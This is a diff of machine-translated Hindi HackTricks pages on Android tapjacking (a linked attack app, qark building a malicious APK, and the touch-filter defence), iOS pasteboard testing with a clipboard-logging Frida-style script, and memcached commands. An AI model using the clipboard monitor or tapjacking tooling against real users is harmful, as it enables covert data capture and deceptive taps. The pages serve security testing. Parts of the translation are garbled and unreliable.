* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और **HackTricks Cloud** github रेपो में PR जमा करके।
</details>

View file

@ -10,33 +10,37 @@ HackTricks का समर्थन करने के अन्य तरी
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **मूल जानकारी**
**टैपजैकिंग** एक हमला है जहां एक **दुष्ट एप्लिकेशन** शुरू की जाती है और **खुद को एक पीड़ित एप्लिकेशन के ऊपर स्थित करती है**। एक बार जब यह पीड़ित ऐप को दिखाई देने में बाधा डालती है, तो इसका उपयोगकर्ता इंटरफ़ेस इस प्रकार डिज़ाइन किया जाता है कि उपयोगकर्ता को इसके साथ इंटरैक्ट करने के लिए धोखा देने के लिए, जबकि यह पीड़ित ऐप पर कार्रवाई को आगे बढ़ा रहा है।\
असर में, यह **उपयोगकर्ता को अंधा बना देता है कि वे वास्तव में पीड़ित ऐप पर कार्रवाई कर रहे हैं**
**टैपजैकिंग** एक हमला है जहां एक **दुरुपयोगी एप्लिकेशन** शुरू की जाती है और खुद को एक पीड़ित एप्लिकेशन के ऊपर स्थित करती है। एक बार जब यह पीड़ित ऐप को दिखाई देता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस प्रकार डिज़ाइन किया जाता है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा देने के लिए उकसाया जाता है, जबकि यह पीड़ित ऐप पर इंटरेक्शन को आगे बढ़ा रहा है।\
असर में, यह उपयोगकर्ता को **अंधेरे में रख देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
### पता लगाना
इस हमले के लिए विकल्पित ऐप्स को पता लगाने के लिए आपको एंड्रॉइड मैनिफ़ेस्ट में **निर्यात की गई गतिविधाएँ** खोजनी चाहिए (ध्यान दें कि एक इंटेंट-फ़िल्टर के साथ एक गतिविधा स्वचालित रूप से निर्यात की जाती है)। एक बार जब आप निर्यात की गई गतिविधाएँ पाएंगे, **जांचें कि क्या उन्हें कोई अनुमति की आवश्यकता है**। यह इसलिए है क्योंकि **दुष्ट एप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**।
इस हमले के लिए विकल्पित ऐप्स को पता लगाने के लिए आपको एंड्रॉइड मैनिफ़ेस्ट में **निर्यात क्रियाएँ** की खोज करनी चाहिए (ध्यान दें कि एक इंटेंट-फ़िल्टर के साथ एक क्रिया स्वचालित रूप से निर्यात की जाती है)। एक बार जब आप निर्यात क्रियाएँ पाएं हैं, **देखें कि क्या उन्हें कोई अनुमति की आवश्यकता है**। यह इसलिए है क्योंकि **दुरुपयोगी एप्लिकेशन को भी उस अनुमति की आवश्यकता होगी**।
### सुरक्षा
#### एंड्रॉइड 12 (API 31,32) और उच्चतर
[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** एंड्रॉइड 12 (API 31 और 30) और उच्चतर संस्करण से एंड्रॉइड द्वारा टैपजैकिंग हमलों को स्वचालित रूप से रोका जाता है। इसलिए, यदि एप्लिकेशन वंशवादी है तो आप **इसका शोध नहीं कर पाएंगे**।
[**इस स्रोत के अनुसार**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** एंड्रॉइड 12 (API 31 और 30) और उच्चतर से एंड्रॉइड द्वारा टैपजैकिंग हमलों को स्वचालित रूप से रोका जाता है। इसलिए, यदि एप्लिकेशन वंशावली है तो आप **इसका शोषण नहीं कर पाएंगे**।
#### `filterTouchesWhenObscured`
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` जब भी एक और दृश्यमान विंडो द्वारा अवरुद्ध किया जाता है, तो स्पर्श प्राप्त नहीं करेगा।
यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` जब भी एक और दृश्यमान विंडो द्वारा अंधेरे किया जाता है, तो स्पर्श प्राप्त नहीं करेगा।
#### **`setFilterTouchesWhenObscured`**
यदि यह विशिष्टता **`setFilterTouchesWhenObscured`** को सत्य पर सेट किया गया है, तो यह व्यक्ति इस विकल्प के माध्यम से इस भेदभाव का शिकार नहीं हो सकता है यदि एंड्रॉइड संस्करण कम है।\
यदि **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन स्वचालित रूप से **अक्षम हो सकता है अगर यह अवरुद्ध है**:
यदि एंड्रॉइड संस्करण कम है तो यह विकल्प **`setFilterTouchesWhenObscured`** किसी भी वंशावली का शोषण रोक सकता है।\
यदि **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन स्वचालित रूप से **अक्षम हो सकता है अगर यह अंधेरे में है**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -49,13 +53,13 @@ android:filterTouchesWhenObscured="true">
### टैपजैकिंग-निर्यातितगतिविधि
सबसे **हाल का Android एप्लिकेशन** जो टैपजैकिंग हमला कर रहा है (+ आक्रमित एप्लिकेशन की निर्यातित गतिविधि को पहले आह्वान कर रहा है) यहाँ मिल सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
सबसे **हाल का Android एप्लिकेशन** जो टैपजैकिंग हमला कर रहा है (+ आक्रमित एप्लिकेशन की निर्यातित गतिविधि को पहले आमंत्रित करना), इसमें पाया जा सकता है: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)
सका उपयोग करने के लिए **README निर्देशों का पालन करें**
**उसका उपयोग करने के लिए README निर्देशों का पालन करें**।
### FloatingWindowApp
एक उदाहरण परियोजना जो **FloatingWindowApp** को लागू करने के लिए उपयोग किया जा सकता है, जिसे अन्य गतिविधियों के ऊपर रखने के लिए उपयोग किया जा सकता है, यहाँ मिल सकता है [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (थोड़ा पुराना है, apk बनाने में शुभकामनाएं)।
एक उदाहरण परियोजना जो **FloatingWindowApp** को लागू करने के लिए उपयोग किया जा सकता है, जिसे अन्य गतिविधियों के ऊपर रखने के लिए उपयोग किया जा सकता है, [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) में मिल सकती है (थोड़ी पुरानी है, apk बनाने में शुभकामनाएं)।
### Qark
@ -63,10 +67,28 @@ android:filterTouchesWhenObscured="true">
ऐसा लगता है कि यह परियोजना अब अनुरक्षित है और यह कार्यक्षमता अब सही ढंग से काम नहीं कर रही है
{% endhint %}
आप [**qark**](https://github.com/linkedin/qark) का उपयोग कर सकते हैं `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` पैरामीटर के साथ एक दुर्भाग्यपूर्ण एप्लिकेशन बनाने के लिए जांच करने के लिए कि क्या संभावित **टैपजैकिंग** भेदभाव है
आप [**qark**](https://github.com/linkedin/qark) का उपयोग कर सकते हैं `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` पैरामीटर के साथ एक दुरुपयोगी एप्लिकेशन बनाने के लिए जांच करने के लिए संभावित **टैपजैकिंग** जोखिमों के लिए
ंशोधन अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दूसरे द्वारा ढका जाता है तो एक दृश्य को छूने की घटनाए प्राप्त न करें। [Android Developers Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करना:
ुरक्षा उपाय अपेक्षाकृत सरल है क्योंकि डेवलपर यह चुन सकता है कि जब एक दूसरे द्वारा एक दृश्य ढका जाता है, तो एक दृश्य को छूने की घटनाए प्राप्त न करें। [Android Developers Reference](https://developer.android.com/reference/android/view/View#security) का उपयोग करना:
> कभी-कभी यह अत्यावश्यक होता है कि एक एप्लिकेशन सत्यापित कर सके कि एक कार्रवाई पूर्ण जानकारी और सहमति के साथ की जा रही है, जैसे कि अनुमति अनुरोध, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्य से, एक दुर्भाग्यपूर्ण एप्लिकेशन इन कार्रवाइयों को करने के लिए प्रयास कर सकता है, जिन्हें अनजान होकर कराया जा सकता है, दृश्य की इच्छित उद्देश्य को छुपाकर। उपाय के रूप में, फ्रेमवर्क एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग किया जा सकता है जो संवेदनशील कार्यक्षमता तक पहुंच प्रदान करने वाले दृश्यों की सुरक्षा में सुधार करने के लिए।
> कभी-कभी एक ऐप्लिकेशन को यह सत्यापित करने की आवश्यकता होती है कि किसी कार्रवाई को पूर्ण जानकारी और सहमति के साथ उपयोगकर्ता द्वारा किया जा रहा है, जैसे कि अनुमति अनुरोध, खरीदारी करना या विज्ञापन पर क्लिक करना। दुर्भाग्य से, एक दुरुपयोगी ऐप्लिकेशन उपयोक्ता को इन कार्रवाइयों को करने के लिए धोखा देने की कोशिश कर सकता है, जिसे वह अनजान होकर कर रहा हो, दृश्य की इच्छित उद्देश्य को छुपाकर। इसके उपचार के रूप में, फ्रेमवर्क एक स्पर्श फ़िल्टरिंग तंत्र प्रदान करता है जिसका उपयोग किया जा सकता है जो सुरक्षित फ़ंक्शनलिटी तक पहुंच प्रदान करने वाले दृश्यों की सुरक्षा को सुधारने के लिए।
>
> स्पर्श फ़िल्टरिंग को सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को सत्य में सेट करें। जब सक्षम किया जाता है, तो फ्रेमवर्क उन स्पर्शों को छोड़ देगा जो प्राप्त होते हैं जब दृश्य की विंडो किसी अन्य दृश्य द्वारा ढकी होती है। इस परिणामस्वरूप, दृश्य को स्पर्श प्राप्त नहीं होगा जब एक टोस्ट, डायलॉग या अन्य विंडो दृश्य की विंडो के ऊपर प्रकट होती है।
> स्पर्श फ़िल्टरिंग को सक्षम करने के लिए, [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) को कॉल करें या android:filterTouchesWhenObscured लेआउट विशेषता को सत्य में सेट करें। जब सक्षम किया जाता है, तो फ्रेमवर्क उन स्पर्शों को छोड़ देगा जो प्राप्त होते हैं जब दृश्य का विंडो किसी अन्य दृश्य द्वारा ढका जाता है। इस परिणामस्वरूप, दृश्य को स्पर्श प्राप्त नहीं होगा जब एक टोस्ट, डायलॉग या अन्य विंडो दृश्य के विंडो के ऊपर प्रकट होती है।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं HackTricks में या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR जमा करके।
</details>

View file

@ -4,48 +4,53 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PRs सबमिट करके।
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
iOS उपकरणों पर एप्लिकेशनों के भीतर और उनके बीच डेटा साझा करने की सुविधा [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) मेकेनिज़्म द्वारा सुचारित की जाती है, जो दो मुख्य श्रेणियों में विभाजित है:
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
- **सिस्टम व्यापक पेस्टबोर्ड**: यह **किसी भी एप्लिकेशन** के साथ डेटा साझा करने के लिए उपयोग किया जाता है और डेवाइस पुनरारंभ और एप्लिकेशन के अनइंस्टॉलेशन के लिए डेटा को स्थायी रूप से बनाए रखने के लिए डिज़ाइन किया गया है, जो iOS 10 से उपलब्ध है।
- **कस्टम / नेम्ड पेस्टबोर्ड**: ये एक ऐप के भीतर या किसी अन्य एप्लिकेशन के साथ डेटा साझा करने के लिए **विशेष रूप से** हैं जो साझा करने वाले टीम आईडी के साथ नहीं बने रहने के लिए डिज़ाइन किए गए हैं, और ये एप्लिकेशन प्रक्रिया के जीवन से आगे नहीं बने रहने के लिए डिज़ाइन किए गए हैं, iOS 10 में परिवर्तनों के बाद।
{% embed url="https://websec.nl/" %}
**सुरक्षा संबंधित विचार** पेस्टबोर्ड का उपयोग करते समय महत्वपूर्ण भूमिका निभाते हैं। उदाहरण के लिए:
- उपयोगकर्ताओं के लिए **पेस्टबोर्ड तक पहुंचने की अनुमतियों** का प्रबंधन करने के लिए कोई तंत्र नहीं है।
- पेस्टबोर्ड के अनधिकृत पिछले मॉनिटरिंग के जोखिम को कम करने के लिए पहुंच को विशेष रूप से उस समय प्रतिबंधित किया गया है जब एप्लिकेशन पूर्वदृश्य में है (iOS 9 से).
- गोपनीयता संबंधित चिंताओं के कारण साझा कंटेनर्स की तुलना में स्थायी नेम्ड पेस्टबोर्ड का उपयोग निषेधित है।
- iOS 10 के साथ पेश किए गए **यूनिवर्सल क्लिपबोर्ड** सुविधा, जो सामान को सामान्य पेस्टबोर्ड के माध्यम से उपकरणों के बीच साझा करने की अनुमति देती है, डेवलपर्स द्वारा डेटा समाप्ति सेट करने और स्वचालित सामग्री स्थानांतरण को निषेधित किया जा सकता है।
**सुनिश्चित करना** कि **संवेदनशील जानकारी** ग्लोबल पेस्टबोर्ड पर अनजाने में स्टोर नहीं हो रही है अत्यंत महत्वपूर्ण है। इसके अतिरिक्त, एप्लिकेशन को ग्लोबल पेस्टबोर्ड डेटा के अनजाने कार्यों के लिए उपयोग को रोकने के लिए डिज़ाइन किया जाना चाहिए, और डेवलपर्स को संवेदनशील जानकारी को क्लिपबोर्ड में कॉपी करने से रोकने के उपाय लेने की सलाह दी जाती है।
iOS उपकरणों पर एप्लिकेशनों के भीतर और उनके बीच डेटा साझा करने की सुविधा [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) तंत्र द्वारा सुविधित है, जो दो मुख्य श्रेणियों में विभाजित है:
### स्थिर विश्लेषण
- **सिस्टम व्यापक पेस्टबोर्ड**: यह **किसी भी एप्लिकेशन** के साथ डेटा साझा करने के लिए उपयोग किया जाता है और डिवाइस पुनरारंभ और ऐप के अनइंस्टॉलेशन के बीच डेटा को स्थायी रूप से बनाए रखने की योजना बनाई गई है, जो iOS 10 से उपलब्ध है।
- **कस्टम / नेम्ड पेस्टबोर्ड**: ये एक ऐप के भीतर या एक और एप्लिकेशन के साथ डेटा साझा करने के लिए विशेष रूप से हैं जो एक ही टीम आईडी को साझा करते हैं, और इन्ट्रोड्यूस्ड चेंजेस के अनुसार ये ऐप्लिकेशन प्रक्रिया के जीवन से आगे नहीं बढ़ने के लिए डिज़ाइन किए गए हैं।
स्थिर विश्लेषण के लिए, स्रोत कोड या बाइनरी में खोज करें:
**सुरक्षा संबंधित विचार** का महत्वपूर्ण भूमिका होता है जब पेस्टबोर्ड का उपयोग किया जाता है। उदाहरण के लिए:
- उपयोगकर्ताओं के लिए **पेस्टबोर्ड तक पहुंचने के लिए एप परमिशन** का कोई तंत्र नहीं है।
- पेस्टबोर्ड की गैर-अधिकृत पृष्ठभूमि निगरानी के जोखिम को कम करने के लिए पहुंच को उनके एप्लिकेशन फॉरग्राउंड में होने पर सीमित किया गया है (iOS 9 से).
- गोपनीयता संबंधित चिंताओं के कारण साझा कंटेनर्स की तुलना में परिस्थितिक नेम्ड पेस्टबोर्ड का उपयोग निषेधित है।
- iOS 10 के साथ पेश किया गया **यूनिवर्सल क्लिपबोर्ड** फीचर, जो सामान को सामान्य पेस्टबोर्ड के माध्यम से उपकरणों के बीच साझा करने की अनुमति देता है, उसे डेवलपर्स द्वारा डेटा समाप्ति सेट करने और स्वचालित सामग्री स्थानांतरण को निषेधित करने के लिए प्रबंधित किया जा सकता है।
**सुनिश्चित करना कि संवेदनशील जानकारी अनजाने में स्टोर नहीं हो रही है** ग्लोबल पेस्टबोर्ड पर महत्वपूर्ण है। इसके अतिरिक्त, एप्लिकेशन को अनजाने कार्रवाई के लिए ग्लोबल पेस्टबोर्ड डेटा का दुरुपयोग रोकने के लिए डिज़ाइन किया जाना चाहिए, और डेवलपर्स को संवेदनशील जानकारी को क्लिपबोर्ड पर कॉपी करने से रोकने के उपाय लेने की सलाह दी जाती है।
### स्थैतिक विश्लेषण
स्थैतिक विश्लेषण के लिए, स्रोत कोड या बाइनरी में खोजें:
- **`generalPasteboard`** का उपयोग करने के लिए **सिस्टम व्यापक पेस्टबोर्ड** की पहचान करने के लिए।
- **`pasteboardWithName:create:`** और **`pasteboardWithUniqueName`** के लिए **कस्टम पेस्टबोर्ड** बनाने के लिए। सत्यापित करें कि स्थायिता सक्षम है, हालांकि यह अप्रचलित है।
- **`pasteboardWithName:create:`** और **`pasteboardWithUniqueName`** के लिए **कस्टम पेस्टबोर्ड** बनाने के लिए। पुषिष्टि करें कि स्थायित्व सक्षम है, हालांकि यह अप्रचलित है।
### गतिशील विश्लेषण
गतिशील विश्लेषण में विशेष विधियों को हुक या ट्रेस करना शामिल है:
- सिस्टम व्यापक उपयोग के लिए `generalPasteboard` को मॉनिटर करें।
- कस्टम अमल के लिए `pasteboardWithName:create:` और `pasteboardWithUniqueName` को ट्रेस करें।
- स्थायीता सेटिंग्स के लिए अप्रचलित `setPersistent:` मेथड कॉल्स की जांच के लिए।
- **सिस्टम व्यापक पेस्टबोर्ड** के उपयोग के लिए `generalPasteboard` को मॉनिटर करें।
- **कस्टम अमल के लिए** `pasteboardWithName:create:` और `pasteboardWithUniqueName` को ट्रेस करें।
- स्थायित्व सेटिंग्स के लिए डिप्रीकेटेड `setPersistent:` मेथड कॉल्स की निगरानी के लिए।
मॉनिटर करने के महत्वपूर्ण विवरण शामिल हैं:
- **पेस्टबोर्ड नाम** और **सामग्री** (उदाहरण के लिए, स्ट्रिंग, URL, छवियाँ)।
- मौजूदा **आइटमों** और **डेटा प्रकार** की संख्या, मानक और कस्टम डेटा प्रकार की जांच का लाभ उठाएं।
- **पेस्टबोर्ड नाम** और **सामग्री** (उदाहरण के लिए, स्ट्रिंग, URL, छवियाँ जांचने के लिए)।
- मौजूदा **आइटमों** और **डेटा प्रकार** की संख्या, मानक और कस्टम डेटा प्रकार जांचों का लाभ उठाएं।
- `setItems:options:` मेथड की जांच करके **समाप्ति और स्थानीय केवल विकल्प**
एक मॉनिटरिंग उपकरण का उपयोग का उदाहरण है **objection's pasteboard monitor**, जो हर 5 सेकंड में generalPasteboard को बदलाव के लिए पोल करता है और नए डेटा को आउटपुट करता है।
एक मॉनिटरिंग टूल का उपयोग का उदाहरण है **objection's pasteboard monitor**, जो हर 5 सेकंड में generalPasteboard को बदलाव के लिए पोल करता है और नए डेटा को आउटपुट करता है।
यहाँ एक सरल जावास्क्रिप्ट स्क्रिप्ट का उदाहरण है, objection के दृष्टिकोण से प्रेरित, जो पेस्टबोर्ड से पढ़कर परिवर्तनों को हर 5 सेकंड में लॉग करता है:
यहाँ एक सरल जावास्क्रिप्ट स्क्रिप्ट का उदाहरण है, objection के दृष्टिकोण से प्रेरित, जो पेस्टबोर्ड से पाठ पढ़ने और लॉग करने के लिए हर 5 सेकंड में बदलाव करता है:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -75,16 +80,21 @@ console.log(items);
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
</details>

View file

@ -1,4 +1,4 @@
# Memcache Commands
# मेमकैश कमांड्स
<details>
@ -6,54 +6,59 @@
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details>
## Commands Cheat-Sheet
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## कमांड्स चीट-शीट
**से** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
समर्थित कमांड (आधिकारिक और कुछ अनौपचारिक) [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) दस्तावेज़ में दर्ज हैं।
दुःख की बात है कि वाक्य-रचना विवरण वास्तव में स्पष्ट नहीं है और मौजूदा कमांड्स की सूची देने वाला एक सरल मदद कमांड बेहतर होगा। यहाँ एक अवलोकन है जिसे आप [स्रोत](https://github.com/memcached/memcached) में पा सकते हैं (19.08.2016 के रूप में):
दुःख की बात है कि वाक्य-रचना विवरण वास्तव में स्पष्ट नहीं है और मौजूदा कमांड्स की सूची देने वाला एक सरल मदद कमांड बेहतर होगा। यहाँ एक अवलोकन है जिस आप [स्रोत](https://github.com/memcached/memcached) में पाए जाने वाले कमांड्स की सूची है (19.08.2016 के रूप में):
| कमांड | विवरण | उदाहरण |
| --------------------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| get | मान पढ़ता है | `get mykey` |
| set | एक कुंजी को निर्शर्ती सेट करें | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI उपकरणों का उपयोग करते समय \r\n को लाइन ब्रेक के रूप में सुनिश्चित करें। उदाहरण के लिए&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| set | एक कुंजी को अविश्वसनीय रूप से सेट करें | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI उपकरणों का उपयोग करते समय \r\n को लाइन ब्रेक के रूप में सुनिश्चित करें। उदाहरण के लिए&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | एक नई कुंजी जोड़ें | `add newkey 0 60 5` |
